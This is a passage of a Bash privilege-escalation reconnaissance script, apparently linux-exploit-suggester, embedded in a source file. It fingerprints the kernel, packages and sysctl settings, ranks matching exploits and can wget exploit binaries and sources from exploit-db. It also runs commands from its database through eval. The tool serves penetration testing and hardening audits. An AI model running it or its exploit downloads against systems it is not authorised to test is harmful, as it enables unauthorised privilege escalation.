$(NF-1)}')\n\n OS=\"\"\n echo \"$uname\" | grep -q -i 'deb' && OS=\"debian\"\n echo \"$uname\" | grep -q -i 'ubuntu' && OS=\"ubuntu\"\n echo \"$uname\" | grep -q -i '\\-ARCH' && OS=\"arch\"\n echo \"$uname\" | grep -q -i '\\-deepin' && OS=\"deepin\"\n echo \"$uname\" | grep -q -i '\\-MANJARO' && OS=\"manjaro\"\n echo \"$uname\" | grep -q -i '\\.fc' && OS=\"fedora\"\n echo \"$uname\" | grep -q -i '\\.el' && OS=\"RHEL\"\n echo \"$uname\" | grep -q -i '\\.mga' && OS=\"mageia\"\n\n # 'uname -a' output doesn't contain distribution number (at least not in case of all distros)\n}\n\ngetPkgList() {\n local distro=$1\n local pkglist_file=$2\n \n # take package listing from provided file & detect if it's 'rpm -qa' listing or 'dpkg -l' or 'pacman -Q' listing of not recognized listing\n if [ \"$opt_pkglist_file\" = \"true\" -a -e \"$pkglist_file\" ]; then\n\n # ubuntu/debian package listing file\n if [ $(head -1 \"$pkglist_file\" | grep 'Desired=Unknown/Install/Remove/Purge/Hold') ]; then\n PKG_LIST=$(cat \"$pkglist_file\" | awk '{print $2\"-\"$3}' | sed 's/:amd64//g')\n\n OS=\"debian\"\n [ \"$(grep ubuntu \"$pkglist_file\")\" ] && OS=\"ubuntu\"\n # redhat package listing file\n elif [ \"$(grep -E '\\.el[1-9]+[\\._]' \"$pkglist_file\" | head -1)\" ]; then\n PKG_LIST=$(cat \"$pkglist_file\")\n OS=\"RHEL\"\n # fedora package listing file\n elif [ \"$(grep -E '\\.fc[1-9]+'i \"$pkglist_file\" | head -1)\" ]; then\n PKG_LIST=$(cat \"$pkglist_file\")\n OS=\"fedora\"\n # mageia package listing file\n elif [ \"$(grep -E '\\.mga[1-9]+' \"$pkglist_file\" | head -1)\" ]; then\n PKG_LIST=$(cat \"$pkglist_file\")\n OS=\"mageia\"\n # pacman package listing file\n elif [ \"$(grep -E '\\ [0-9]+\\.' \"$pkglist_file\" | head -1)\" ]; then\n PKG_LIST=$(cat \"$pkglist_file\" | awk '{print $1\"-\"$2}')\n OS=\"arch\"\n # file not recognized - skipping\n else\n PKG_LIST=\"\"\n fi\n\n elif [ \"$distro\" = \"debian\" -o \"$distro\" = \"ubuntu\" -o \"$distro\" = \"deepin\" ]; then\n PKG_LIST=$(dpkg -l | awk '{print $2\"-\"$3}' | sed 's/:amd64//g')\n elif [ \"$distro\" = \"RHEL\" -o \"$distro\" = \"fedora\" -o \"$distro\" = \"mageia\" ]; then\n PKG_LIST=$(rpm -qa)\n elif [ \"$distro\" = \"arch\" -o \"$distro\" = \"manjaro\" ]; then\n PKG_LIST=$(pacman -Q | awk '{print $1\"-\"$2}')\n elif [ -x /usr/bin/equery ]; then\n PKG_LIST=$(/usr/bin/equery --quiet list '*' -F '$name:$version' | cut -d/ -f2- | awk '{print $1\":\"$2}')\n else\n # packages listing not available\n PKG_LIST=\"\"\n fi\n}\n\n# from: https://stackoverflow.com/questions/4023830/how-compare-two-strings-in-dot-separated-version-format-in-bash\nverComparision() {\n\n if [[ $1 == $2 ]]\n then\n return 0\n fi\n\n local IFS=.\n local i ver1=($1) ver2=($2)\n\n # fill empty fields in ver1 with zeros\n for ((i=${#ver1[@]}; i<${#ver2[@]}; i++))\n do\n ver1[i]=0\n done\n\n for ((i=0; i<${#ver1[@]}; i++))\n do\n if [[ -z ${ver2[i]} ]]\n then\n # fill empty fields in ver2 with zeros\n ver2[i]=0\n fi\n if ((10#${ver1[i]} > 10#${ver2[i]}))\n then\n return 1\n fi\n if ((10#${ver1[i]} < 10#${ver2[i]}))\n then\n return 2\n fi\n done\n\n return 0\n}\n\ndoVersionComparision() {\n local reqVersion=\"$1\"\n local reqRelation=\"$2\"\n local currentVersion=\"$3\"\n\n verComparision $currentVersion $reqVersion\n case $? in\n 0) currentRelation='=';;\n 1) currentRelation='>';;\n 2) currentRelation='<';;\n esac\n\n if [ \"$reqRelation\" == \"=\" ]; then\n [ $currentRelation == \"=\" ] && return 0\n elif [ \"$reqRelation\" == \">\" ]; then\n [ $currentRelation == \">\" ] && return 0\n elif [ \"$reqRelation\" == \"<\" ]; then\n [ $currentRelation == \"<\" ] && return 0\n elif [ \"$reqRelation\" == \">=\" ]; then\n [ $currentRelation == \"=\" ] && return 0\n [ $currentRelation == \">\" ] && return 0\n elif [ \"$reqRelation\" == \"<=\" ]; then\n [ $currentRelation == \"=\" ] && return 0\n [ $currentRelation == \"<\" ] && return 0\n fi\n}\n\ncompareValues() {\n curVal=$1\n val=$2\n sign=$3\n\n if [ \"$sign\" == \"==\" ]; then\n [ \"$val\" == \"$curVal\" ] && return 0\n elif [ \"$sign\" == \"!=\" ]; then\n [ \"$val\" != \"$curVal\" ] && return 0\n fi\n\n return 1\n}\n\ncheckRequirement() {\n #echo \"Checking requirement: $1\"\n local IN=\"$1\"\n local pkgName=\"${2:4}\"\n\n if [[ \"$IN\" =~ ^pkg=.*$ ]]; then\n\n # always true for Linux OS\n [ ${pkgName} == \"linux-kernel\" ] && return 0\n\n # verify if package is present \n pkg=$(echo \"$PKG_LIST\" | grep -E -i \"^$pkgName-[0-9]+\" | head -1)\n if [ -n \"$pkg\" ]; then\n return 0\n fi\n\n elif [[ \"$IN\" =~ ^ver.*$ ]]; then\n version=\"${IN//[^0-9.]/}\"\n rest=\"${IN#ver}\"\n operator=${rest%$version}\n\n if [ \"$pkgName\" == \"linux-kernel\" -o \"$opt_checksec_mode\" == \"true\" ]; then\n\n # for --cvelist-file mode skip kernel version comparision\n [ \"$opt_cvelist_file\" = \"true\" ] && return 0\n\n doVersionComparision $version $operator $KERNEL && return 0\n else\n # extract package version and check if requiremnt is true\n pkg=$(echo \"$PKG_LIST\" | grep -E -i \"^$pkgName-[0-9]+\" | head -1)\n\n # skip (if run with --skip-pkg-versions) version checking if package with given name is installed\n [ \"$opt_skip_pkg_versions\" = \"true\" -a -n \"$pkg\" ] && return 0\n\n # versioning:\n #echo \"pkg: $pkg\"\n pkgVersion=$(echo \"$pkg\" | grep -E -i -o -e '-[\\.0-9\\+:p]+[-\\+]' | cut -d':' -f2 | sed 's/[\\+-]//g' | sed 's/p[0-9]//g')\n #echo \"version: $pkgVersion\"\n #echo \"operator: $operator\"\n #echo \"required version: $version\"\n #echo\n doVersionComparision $version $operator $pkgVersion && return 0\n fi\n elif [[ \"$IN\" =~ ^x86_64$ ]] && [ \"$ARCH\" == \"x86_64\" -o \"$ARCH\" == \"\" ]; then\n return 0\n elif [[ \"$IN\" =~ ^x86$ ]] && [ \"$ARCH\" == \"i386\" -o \"$ARCH\" == \"i686\" -o \"$ARCH\" == \"\" ]; then\n return 0\n elif [[ \"$IN\" =~ ^CONFIG_.*$ ]]; then\n\n # skip if check is not applicable (-k or --uname or -p set) or if user said so (--skip-more-checks)\n [ \"$opt_skip_more_checks\" = \"true\" ] && return 0\n\n # if kernel config IS available:\n if [ -n \"$KCONFIG\" ]; then\n if $KCONFIG | grep -E -qi $IN; then\n return 0;\n # required option wasn't found, exploit is not applicable\n else\n return 1;\n fi\n # config is not available\n else\n return 0;\n fi\n elif [[ \"$IN\" =~ ^sysctl:.*$ ]]; then\n\n # skip if check is not applicable (-k or --uname or -p modes) or if user said so (--skip-more-checks)\n [ \"$opt_skip_more_checks\" = \"true\" ] && return 0\n\n sysctlCondition=\"${IN:7}\"\n\n # extract sysctl entry, relation sign and required value\n if echo $sysctlCondition | grep -qi \"!=\"; then\n sign=\"!=\"\n elif echo $sysctlCondition | grep -qi \"==\"; then\n sign=\"==\"\n else\n exitWithErrMsg \"Wrong sysctl condition. There is syntax error in your features DB. Aborting.\"\n fi\n val=$(echo \"$sysctlCondition\" | awk -F \"$sign\" '{print $2}')\n entry=$(echo \"$sysctlCondition\" | awk -F \"$sign\" '{print $1}')\n\n # get current setting of sysctl entry\n curVal=$(/sbin/sysctl -a 2> /dev/null | grep \"$entry\" | awk -F'=' '{print $2}')\n\n # special case for --checksec mode: return 2 if there is no such switch in sysctl\n [ -z \"$curVal\" -a \"$opt_checksec_mode\" = \"true\" ] && return 2\n\n # for other modes: skip if there is no such switch in sysctl\n [ -z \"$curVal\" ] && return 0\n\n # compare & return result\n compareValues $curVal $val $sign && return 0\n\n elif [[ \"$IN\" =~ ^cmd:.*$ ]]; then\n\n # skip if check is not applicable (-k or --uname or -p modes) or if user said so (--skip-more-checks)\n [ \"$opt_skip_more_checks\" = \"true\" ] && return 0\n\n cmd=\"${IN:4}\"\n if eval \"${cmd}\"; then\n return 0\n fi\n fi\n\n return 1\n}\n\ngetKernelConfig() {\n\n if [ -f /proc/config.gz ] ; then\n KCONFIG=\"zcat /proc/config.gz\"\n elif [ -f /boot/config-` + \"`uname -r`\" + ` ] ; then\n KCONFIG=\"cat /boot/config-` + \"`uname -r`\" + `\"\n elif [ -f \"${KBUILD_OUTPUT:-/usr/src/linux}\"/.config ] ; then\n KCONFIG=\"cat ${KBUILD_OUTPUT:-/usr/src/linux}/.config\"\n else\n KCONFIG=\"\"\n fi\n}\n\nchecksecMode() {\n\n MODE=0\n\n # start analysis\nfor FEATURE in \"${FEATURES[@]}\"; do\n\n # create array from current exploit here doc and fetch needed lines\n i=0\n # ('-r' is used to not interpret backslash used for bash colors)\n while read -r line\n do\n arr[i]=\"$line\"\n i=$((i + 1))\n done <<< \"$FEATURE\"\n\n\t# modes: kernel-feature (1) | hw-feature (2) | 3rdparty-feature (3) | attack-surface (4)\n NAME=\"${arr[0]}\"\n PRE_NAME=\"${NAME:0:8}\"\n NAME=\"${NAME:9}\"\n if [ \"${PRE_NAME}\" = \"section:\" ]; then\n\t\t# advance to next MODE\n\t\tMODE=$(($MODE + 1))\n\n echo\n echo -e \"${bldwht}${NAME}${txtrst}\"\n echo\n continue\n fi\n\n AVAILABLE=\"${arr[1]}\" && AVAILABLE=\"${AVAILABLE:11}\"\n ENABLE=$(echo \"$FEATURE\" | grep \"enabled: \" | awk -F'ed: ' '{print $2}')\n analysis_url=$(echo \"$FEATURE\" | grep \"analysis-url: \" | awk '{print $2}')\n\n # split line with availability requirements & loop thru all availability reqs one by one & check whether it is met\n IFS=',' read -r -a array <<< \"$AVAILABLE\"\n AVAILABLE_REQS_NUM=${#array[@]}\n AVAILABLE_PASSED_REQ=0\n\tCONFIG=\"\"\n for REQ in \"${array[@]}\"; do\n\n\t\t# find CONFIG_ name (if present) for current feature (only for display purposes)\n\t\tif [ -z \"$CONFIG\" ]; then\n\t\t\tconfig=$(echo \"$REQ\" | grep \"CONFIG_\")\n\t\t\t[ -n \"$config\" ] && CONFIG=\"($(echo $REQ | cut -d'=' -f1))\"\n\t\tfi\n\n if (checkRequirement \"$REQ\"); then\n AVAILABLE_PASSED_REQ=$(($AVAILABLE_PASSED_REQ + 1))\n else\n break\n fi\n done\n\n # split line with enablement requirements & loop thru all enablement reqs one by one & check whether it is met\n ENABLE_PASSED_REQ=0\n ENABLE_REQS_NUM=0\n noSysctl=0\n if [ -n \"$ENABLE\" ]; then\n IFS=',' read -r -a array <<< \"$ENABLE\"\n ENABLE_REQS_NUM=${#array[@]}\n for REQ in \"${array[@]}\"; do\n cmdStdout=$(checkRequirement \"$REQ\")\n retVal=$?\n if [ $retVal -eq 0 ]; then\n ENABLE_PASSED_REQ=$(($ENABLE_PASSED_REQ + 1))\n elif [ $retVal -eq 2 ]; then\n # special case: sysctl entry is not present on given system: signal it as: N/A\n noSysctl=1\n break\n else\n break\n fi\n done\n fi\n\n feature=$(echo \"$FEATURE\" | grep \"feature: \" | cut -d' ' -f 2-)\n\n if [ -n \"$cmdStdout\" ]; then\n if [ $cmdStdout -eq 0 ]; then\n state=\"[ ${txtred}Set to $cmdStdout${txtrst} ]\"\n\t\t\tcmdStdout=\"\"\n else\n state=\"[ ${txtgrn}Set to $cmdStdout${txtrst} ]\"\n\t\t\tcmdStdout=\"\"\n fi\n else\n\n\tunknown=\"[ ${txtgray}Unknown${txtrst} ]\"\n\n\t# for 3rd party (3) mode display \"N/A\" or \"Enabled\"\n\tif [ $MODE -eq 3 ]; then\n enabled=\"[ ${txtgrn}Enabled${txtrst} ]\"\n disabled=\"[ ${txtgray}N/A${txtrst} ]\"\n\n # for attack-surface (4) mode display \"Locked\" or \"Exposed\"\n elif [ $MODE -eq 4 ]; then\n enabled=\"[ ${txtred}Exposed${txtrst} ]\"\n disabled=\"[ ${txtgrn}Locked${txtrst} ]\"\n\n\t# other modes\" \"Disabled\" / \"Enabled\"\n\telse\n\t\tenabled=\"[ ${txtgrn}Enabled${txtrst} ]\"\n\t\tdisabled=\"[ ${txtred}Disabled${txtrst} ]\"\n\tfi\n\n\tif [ -z \"$KCONFIG\" -a \"$ENABLE_REQS_NUM\" = 0 ]; then\n\t state=$unknown\n elif [ $AVAILABLE_PASSED_REQ -eq $AVAILABLE_REQS_NUM -a $ENABLE_PASSED_REQ -eq $ENABLE_REQS_NUM ]; then\n state=$enabled\n else\n state=$disabled\n\tfi\n\n fi\n\n echo -e \" $state $feature ${wht}${CONFIG}${txtrst}\"\n [ -n \"$analysis_url\" ] && echo -e \" $analysis_url\"\n echo\n\ndone\n\n}\n\ndisplayExposure() {\n RANK=$1\n\n if [ \"$RANK\" -ge 6 ]; then\n echo \"highly probable\"\n elif [ \"$RANK\" -ge 3 ]; then\n echo \"probable\"\n else\n echo \"less probable\"\n fi\n}\n\n# parse command line parameters\nARGS=$(getopt --options $SHORTOPTS --longoptions $LONGOPTS -- \"$@\")\n[ $? != 0 ] && exitWithErrMsg \"Aborting.\"\n\neval set -- \"$ARGS\"\n\nwhile true; do\n case \"$1\" in\n -u|--uname)\n shift\n UNAME_A=\"$1\"\n opt_uname_string=true\n ;;\n -V|--version)\n version\n exit 0\n ;;\n -h|--help)\n usage \n exit 0\n ;;\n -f|--full)\n opt_full=true\n ;;\n -g|--short)\n opt_summary=true\n ;;\n -b|--fetch-binaries)\n opt_fetch_bins=true\n ;;\n -s|--fetch-sources)\n opt_fetch_srcs=true\n ;;\n -k|--kernel)\n shift\n KERNEL=\"$1\"\n opt_kernel_version=true\n ;;\n -d|--show-dos)\n opt_show_dos=true\n ;;\n -p|--pkglist-file)\n shift\n PKGLIST_FILE=\"$1\"\n opt_pkglist_file=true\n ;;\n --cvelist-file)\n shift\n CVELIST_FILE=\"$1\"\n opt_cvelist_file=true\n ;;\n --checksec)\n opt_checksec_mode=true\n ;;\n --kernelspace-only)\n opt_kernel_only=true\n ;;\n --userspace-only)\n opt_userspace_only=true\n ;;\n --skip-more-checks)\n opt_skip_more_checks=true\n ;;\n --skip-pkg-versions)\n opt_skip_pkg_versions=true\n ;;\n *)\n shift\n if [ \"$#\" != \"0\" ]; then\n exitWithErrMsg \"Unknown option '$1'. Aborting.\"\n fi\n break\n ;;\n esac\n shift\ndone\n\n# check Bash version (associative arrays need Bash in version 4.0+)\nif ((BASH_VERSINFO[0] < 4)); then\n exitWithErrMsg \"Script needs Bash in version 4.0 or newer. Aborting.\"\nfi\n\n# exit if both --kernel and --uname are set\n[ \"$opt_kernel_version\" = \"true\" ] && [ $opt_uname_string = \"true\" ] && exitWithErrMsg \"Switches -u|--uname and -k|--kernel are mutually exclusive. Aborting.\"\n\n# exit if both --full and --short are set\n[ \"$opt_full\" = \"true\" ] && [ $opt_summary = \"true\" ] && exitWithErrMsg \"Switches -f|--full and -g|--short are mutually exclusive. Aborting.\"\n\n# --cvelist-file mode is standalone mode and is not applicable when one of -k | -u | -p | --checksec switches are set\nif [ \"$opt_cvelist_file\" = \"true\" ]; then\n [ ! -e \"$CVELIST_FILE\" ] && exitWithErrMsg \"Provided CVE list file does not exists. Aborting.\"\n [ \"$opt_kernel_version\" = \"true\" ] && exitWithErrMsg \"Switches -k|--kernel and --cvelist-file are mutually exclusive. Aborting.\"\n [ \"$opt_uname_string\" = \"true\" ] && exitWithErrMsg \"Switches -u|--uname and --cvelist-file are mutually exclusive. Aborting.\"\n [ \"$opt_pkglist_file\" = \"true\" ] && exitWithErrMsg \"Switches -p|--pkglist-file and --cvelist-file are mutually exclusive. Aborting.\"\nfi\n\n# --checksec mode is standalone mode and is not applicable when one of -k | -u | -p | --cvelist-file switches are set\nif [ \"$opt_checksec_mode\" = \"true\" ]; then\n [ \"$opt_kernel_version\" = \"true\" ] && exitWithErrMsg \"Switches -k|--kernel and --checksec are mutually exclusive. Aborting.\"\n [ \"$opt_uname_string\" = \"true\" ] && exitWithErrMsg \"Switches -u|--uname and --checksec are mutually exclusive. Aborting.\"\n [ \"$opt_pkglist_file\" = \"true\" ] && exitWithErrMsg \"Switches -p|--pkglist-file and --checksec are mutually exclusive. Aborting.\"\nfi\n\n# extract kernel version and other OS info like distro name, distro version, etc. 3 possibilities here:\n# case 1: --kernel set\nif [ \"$opt_kernel_version\" == \"true\" ]; then\n # TODO: add kernel version number validation\n [ -z \"$KERNEL\" ] && exitWithErrMsg \"Unrecognized kernel version given. Aborting.\"\n ARCH=\"\"\n OS=\"\"\n\n # do not perform additional checks on current machine\n opt_skip_more_checks=true\n\n # do not consider current OS\n getPkgList \"\" \"$PKGLIST_FILE\"\n\n# case 2: --uname set\nelif [ \"$opt_uname_string\" == \"true\" ]; then\n [ -z \"$UNAME_A\" ] && exitWithErrMsg \"uname string empty. Aborting.\"\n parseUname \"$UNAME_A\"\n\n # do not perform additional checks on current machine\n opt_skip_more_checks=true\n\n # do not consider current OS\n getPkgList \"\" \"$PKGLIST_FILE\"\n\n# case 3: --cvelist-file mode\nelif [ \"$opt_cvelist_file\" = \"true\" ]; then\n\n # get kernel configuration in this mode\n [ \"$opt_skip_more_checks\" = \"false\" ] && getKernelConfig\n\n# case 4: --checksec mode\nelif [ \"$opt_checksec_mode\" = \"true\" ]; then\n\n # this switch is not applicable in this mode\n opt_skip_more_checks=false\n\n # get kernel configuration in this mode\n getKernelConfig\n [ -z \"$KCONFIG\" ] && echo \"WARNING. Kernel Config not found on the system results won't be complete.\"\n\n # launch checksec mode\n checksecMode\n\n exit 0\n\n# case 5: no --uname | --kernel | --cvelist-file | --checksec set\nelse\n\n # --pkglist-file NOT provided: take all info from current machine\n # case for vanilla execution: ./linux-exploit-suggester.sh\n if [ \"$opt_pkglist_file\" == \"false\" ]; then\n UNAME_A=$(uname -a)\n [ -z \"$UNAME_A\" ] && exitWithErrMsg \"uname string empty. Aborting.\"\n parseUname \"$UNAME_A\"\n\n # get kernel configuration in this mode\n [ \"$opt_skip_more_checks\" = \"false\" ] && getKernelConfig\n\n # extract distribution version from /etc/os-release OR /etc/lsb-release\n [ -n \"$OS\" -a \"$opt_skip_more_checks\" = \"false\" ] && DISTRO=$(grep -s -E '^DISTRIB_RELEASE=|^VERSION_ID=' /etc/*-release | cut -d'=' -f2 | head -1 | tr -d '\"')\n\n # extract package listing from current OS\n getPkgList \"$OS\" \"\"\n\n # --pkglist-file provided: only consider userspace exploits against provided package listing\n else\n KERNEL=\"\"\n #TODO: extract machine arch from package listing\n ARCH=\"\"\n unset EXPLOITS\n declare -A EXPLOITS\n getPkgList \"\" \"$PKGLIST_FILE\"\n\n # additional checks are not applicable for this mode\n opt_skip_more_checks=true\n fi\nfi\n\necho\necho -e \"${bldwht}Available information:${txtrst}\"\necho\n[ -n \"$KERNEL\" ] && echo -e \"Kernel version: ${txtgrn}$KERNEL${txtrst}\" || echo -e \"Kernel version: ${txtred}N/A${txtrst}\"\necho \"Architecture: $([ -n \"$ARCH\" ] && echo -e \"${txtgrn}$ARCH${txtrst}\" || echo -e \"${txtred}N/A${txtrst}\")\"\necho \"Distribution: $([ -n \"$OS\" ] && echo -e \"${txtgrn}$OS${txtrst}\" || echo -e \"${txtred}N/A${txtrst}\")\"\necho -e \"Distribution version: $([ -n \"$DISTRO\" ] && echo -e \"${txtgrn}$DISTRO${txtrst}\" || echo -e \"${txtred}N/A${txtrst}\")\"\n\necho \"Additional checks (CONFIG_*, sysctl entries, custom Bash commands): $([ \"$opt_skip_more_checks\" == \"false\" ] && echo -e \"${txtgrn}performed${txtrst}\" || echo -e \"${txtred}N/A${txtrst}\")\"\n\nif [ -n \"$PKGLIST_FILE\" -a -n \"$PKG_LIST\" ]; then\n pkgListFile=\"${txtgrn}$PKGLIST_FILE${txtrst}\"\nelif [ -n \"$PKGLIST_FILE\" ]; then\n pkgListFile=\"${txtred}unrecognized file provided${txtrst}\"\nelif [ -n \"$PKG_LIST\" ]; then\n pkgListFile=\"${txtgrn}from current OS${txtrst}\"\nfi\n\necho -e \"Package listing: $([ -n \"$pkgListFile\" ] && echo -e \"$pkgListFile\" || echo -e \"${txtred}N/A${txtrst}\")\"\n\n# handle --kernelspacy-only & --userspace-only filter options\nif [ \"$opt_kernel_only\" = \"true\" -o -z \"$PKG_LIST\" ]; then\n unset EXPLOITS_USERSPACE\n declare -A EXPLOITS_USERSPACE\nfi\n\nif [ \"$opt_userspace_only\" = \"true\" ]; then\n unset EXPLOITS\n declare -A EXPLOITS\nfi\n\necho\necho -e \"${bldwht}Searching among:${txtrst}\"\necho\necho \"${#EXPLOITS[@]} kernel space exploits\"\necho \"${#EXPLOITS_USERSPACE[@]} user space exploits\"\necho\n\necho -e \"${bldwht}Possible Exploits:${txtrst}\"\necho\n\n# start analysis\nj=0\nfor EXP in \"${EXPLOITS[@]}\" \"${EXPLOITS_USERSPACE[@]}\"; do\n\n # create array from current exploit here doc and fetch needed lines\n i=0\n # ('-r' is used to not interpret backslash used for bash colors)\n while read -r line\n do\n arr[i]=\"$line\"\n i=$((i + 1))\n done <<< \"$EXP\"\n\n NAME=\"${arr[0]}\" && NAME=\"${NAME:6}\"\n REQS=\"${arr[1]}\" && REQS=\"${REQS:6}\"\n TAGS=\"${arr[2]}\" && TAGS=\"${TAGS:6}\"\n RANK=\"${arr[3]}\" && RANK=\"${RANK:6}\"\n\n # split line with requirements & loop thru all reqs one by one & check whether it is met\n IFS=',' read -r -a array <<< \"$REQS\"\n REQS_NUM=${#array[@]}\n PASSED_REQ=0\n for REQ in \"${array[@]}\"; do\n if (checkRequirement \"$REQ\" \"${array[0]}\"); then\n PASSED_REQ=$(($PASSED_REQ + 1))\n else\n break\n fi\n done\n\n # execute for exploits with all requirements met\n if [ $PASSED_REQ -eq $REQS_NUM ]; then\n\n # additional requirement for --cvelist-file mode: check if CVE associated with the exploit is on the CVELIST_FILE\n if [ \"$opt_cvelist_file\" = \"true\" ]; then\n\n # extract CVE(s) associated with given exploit (also translates ',' to '|' for easy handling multiple CVEs case - via extended regex)\n cve=$(echo \"$NAME\" | grep '.*\\[.*\\].*' | cut -d 'm' -f2 | cut -d ']' -f1 | tr -d '[' | tr \",\" \"|\")\n #echo \"CVE: $cve\"\n\n # check if it's on CVELIST_FILE list, if no move to next exploit\n [ ! $(cat \"$CVELIST_FILE\" | grep -E \"$cve\") ] && continue\n fi\n\n # process tags and highlight those that match current OS (only for deb|ubuntu|RHEL and if we know distro version - direct mode)\n tags=\"\"\n if [ -n \"$TAGS\" -a -n \"$OS\" ]; then\n IFS=',' read -r -a tags_array <<< \"$TAGS\"\n TAGS_NUM=${#tags_array[@]}\n\n # bump RANK slightly (+1) if we're in '--uname' mode and there's a TAG for OS from uname string\n [ \"$(echo \"${tags_array[@]}\" | grep \"$OS\")\" -a \"$opt_uname_string\" == \"true\" ] && RANK=$(($RANK + 1))\n\n for TAG in \"${tags_array[@]}\"; do\n tag_distro=$(echo \"$TAG\" | cut -d'=' -f1)\n tag_distro_num_all=$(echo \"$TAG\" | cut -d'=' -f2)\n # in case of tag of form: 'ubuntu=16.04{kernel:4.4.0-21} remove kernel versioning part for comparision\n tag_distro_num=\"${tag_distro_num_all%{*}\"\n\n # we're in '--uname' mode OR (for normal mode) if there is distro version match\n if [ \"$opt_uname_string\" == \"true\" -o \\( \"$OS\" == \"$tag_distro\" -a \"$(echo \"$DISTRO\" | grep -E \"$tag_distro_num\")\" \\) ]; then\n\n # bump current exploit's rank by 2 for distro match (and not in '--uname' mode)\n [ \"$opt_uname_string\" == \"false\" ] && RANK=$(($RANK + 2))\n\n # get name (kernel or package name) and version of kernel/pkg if provided:\n tag_pkg=$(echo \"$tag_distro_num_all\" | cut -d'{' -f 2 | tr -d '}' | cut -d':' -f 1)\n tag_pkg_num=\"\"\n [ $(echo \"$tag_distro_num_all\" | grep '{') ] && tag_pkg_num=$(echo \"$tag_distro_num_all\" | cut -d'{' -f 2 | tr -d '}' | cut -d':' -f 2)\n\n #[ -n \"$tag_pkg_num\" ] && echo \"tag_pkg_num: $tag_pkg_num; kernel: $KERNEL_ALL\"\n\n # if pkg/kernel version is not provided:\n if [ -z \"$tag_pkg_num\" ]; then\n [ \"$opt_uname_string\" == \"false\" ] && TAG=\"${lightyellow}[ ${TAG} ]${txtrst}\"\n\n # kernel version provided, check for match:\n elif [ -n \"$tag_pkg_num\" -a \"$tag_pkg\" = \"kernel\" ]; then\n if [ $(echo \"$KERNEL_ALL\" | grep -E \"${tag_pkg_num}\") ]; then\n # kernel version matched - bold highlight\n TAG=\"${yellow}[ ${TAG} ]${txtrst}\"\n\n # bump current exploit's rank additionally by 3 for kernel version regex match\n RANK=$(($RANK + 3))\n else\n [ \"$opt_uname_string\" == \"false\" ] && TAG=\"${lightyellow}[ $tag_distro=$tag_distro_num ]${txtrst}{kernel:$tag_pkg_num}\"\n fi\n\n # pkg version provided, check for match (TBD):\n elif [ -n \"$tag_pkg_num\" -a -n \"$tag_pkg\" ]; then\n TAG=\"${lightyellow}[ $tag_distro=$tag_distro_num ]${txtrst}{$tag_pkg:$tag_pkg_num}\"\n fi\n\n fi\n\n # append current tag to tags list\n tags=\"${tags}${TAG},\"\n done\n # trim ',' added by above loop\n [ -n \"$tags\" ] && tags=\"${tags%?}\"\n else\n tags=\"$TAGS\"\n fi\n\n # insert the matched exploit (with calculated Rank and highlighted tags) to arrary that will be sorted\n EXP=$(echo \"$EXP\" | sed -e '/^Name:/d' -e '/^Reqs:/d' -e '/^Tags:/d')\n exploits_to_sort[j]=\"${RANK}Name: ${NAME}D3L1mReqs: ${REQS}D3L1mTags: ${tags}D3L1m$(echo \"$EXP\" | sed -e ':a' -e 'N' -e '$!ba' -e 's/\\n/D3L1m/g')\"\n ((j++))\n fi\ndone\n\n# sort exploits based on calculated Rank\nIFS=$'\\n'\nSORTED_EXPLOITS=($(sort -r <<<\"${exploits_to_sort[*]}\"))\nunset IFS\n\n# display sorted exploits\nfor EXP_TEMP in \"${SORTED_EXPLOITS[@]}\"; do\n\n\tRANK=$(echo \"$EXP_TEMP\" | awk -F'Name:' '{print $1}')\n\n\t# convert entry back to canonical form\n\tEXP=$(echo \"$EXP_TEMP\" | sed 's/^[0-9]//g' | sed 's/D3L1m/\\n/g')\n\n\t# create array from current exploit here doc and fetch needed lines\n i=0\n # ('-r' is used to not interpret backslash used for bash colors)\n while read -r line\n do\n arr[i]=\"$line\"\n i=$((i + 1))\n done <<< \"$EXP\"\n\n NAME=\"${arr[0]}\" && NAME=\"${NAME:6}\"\n REQS=\"${arr[1]}\" && REQS=\"${REQS:6}\"\n TAGS=\"${arr[2]}\" && tags=\"${TAGS:6}\"\n\n\tEXPLOIT_DB=$(echo \"$EXP\" | grep \"exploit-db: \" | awk '{print $2}')\n\tanalysis_url=$(echo \"$EXP\" | grep \"analysis-url: \" | awk '{print $2}')\n\text_url=$(echo \"$EXP\" | grep \"ext-url: \" | awk '{print $2}')\n\tcomments=$(echo \"$EXP\" | grep \"Comments: \" | cut -d' ' -f 2-)\n\treqs=$(echo \"$EXP\" | grep \"Reqs: \" | cut -d' ' -f 2)\n\n\t# exploit name without CVE number and without commonly used special chars\n\tname=$(echo \"$NAME\" | cut -d' ' -f 2- | tr -d ' ()/')\n\n\tbin_url=$(echo \"$EXP\" | grep \"bin-url: \" | awk '{print $2}')\n\tsrc_url=$(echo \"$EXP\" | grep \"src-url: \" | awk '{print $2}')\n\t[ -z \"$src_url\" ] && [ -n \"$EXPLOIT_DB\" ] && src_url=\"https://www.exploit-db.com/download/$EXPLOIT_DB\"\n\t[ -z \"$src_url\" ] && [ -z \"$bin_url\" ] && exitWithErrMsg \"'src-url' / 'bin-url' / 'exploit-db' entries are all empty for '$NAME' exploit - fix that. Aborting.\"\n\n\tif [ -n \"$analysis_url\" ]; then\n details=\"$analysis_url\"\n\telif $(echo \"$src_url\" | grep -q 'www.exploit-db.com'); then\n details=\"https://www.exploit-db.com/exploits/$EXPLOIT_DB/\"\n\telif [[ \"$src_url\" =~ ^.*tgz|tar.gz|zip$ && -n \"$EXPLOIT_DB\" ]]; then\n details=\"https://www.exploit-db.com/exploits/$EXPLOIT_DB/\"\n\telse\n details=\"$src_url\"\n\tfi\n\n\t# skip DoS by default\n\tdos=$(echo \"$EXP\" | grep -o -i \"(dos\")\n\t[ \"$opt_show_dos\" == \"false\" ] && [ -n \"$dos\" ] && continue\n\n\t# handles --fetch-binaries option\n\tif [ $opt_fetch_bins = \"true\" ]; then\n for i in $(echo \"$EXP\" | grep \"bin-url: \" | awk '{print $2}'); do\n [ -f \"${name}_$(basename $i)\" ] && rm -f \"${name}_$(basename $i)\"\n wget -q -k \"$i\" -O \"${name}_$(basename $i)\"\n done\n fi\n\n\t# handles --fetch-sources option\n\tif [ $opt_fetch_srcs = \"true\" ]; then\n [ -f \"${name}_$(basename $src_url)\" ] && rm -f \"${name}_$(basename $src_url)\"\n wget -q -k \"$src_url\" -O \"${name}_$(basename $src_url)\" &\n fi\n\n # display result (short)\n\tif [ \"$opt_summary\" = \"true\" ]; then\n\t[ -z \"$tags\" ] && tags=\"-\"\n\techo -e \"$NAME || $tags || $src_url\"\n\tcontinue\n\tfi\n\n# display result (standard)\n\techo -e \"[+] $NAME\"\n\techo -e \"\\n Details: $details\"\n echo -e 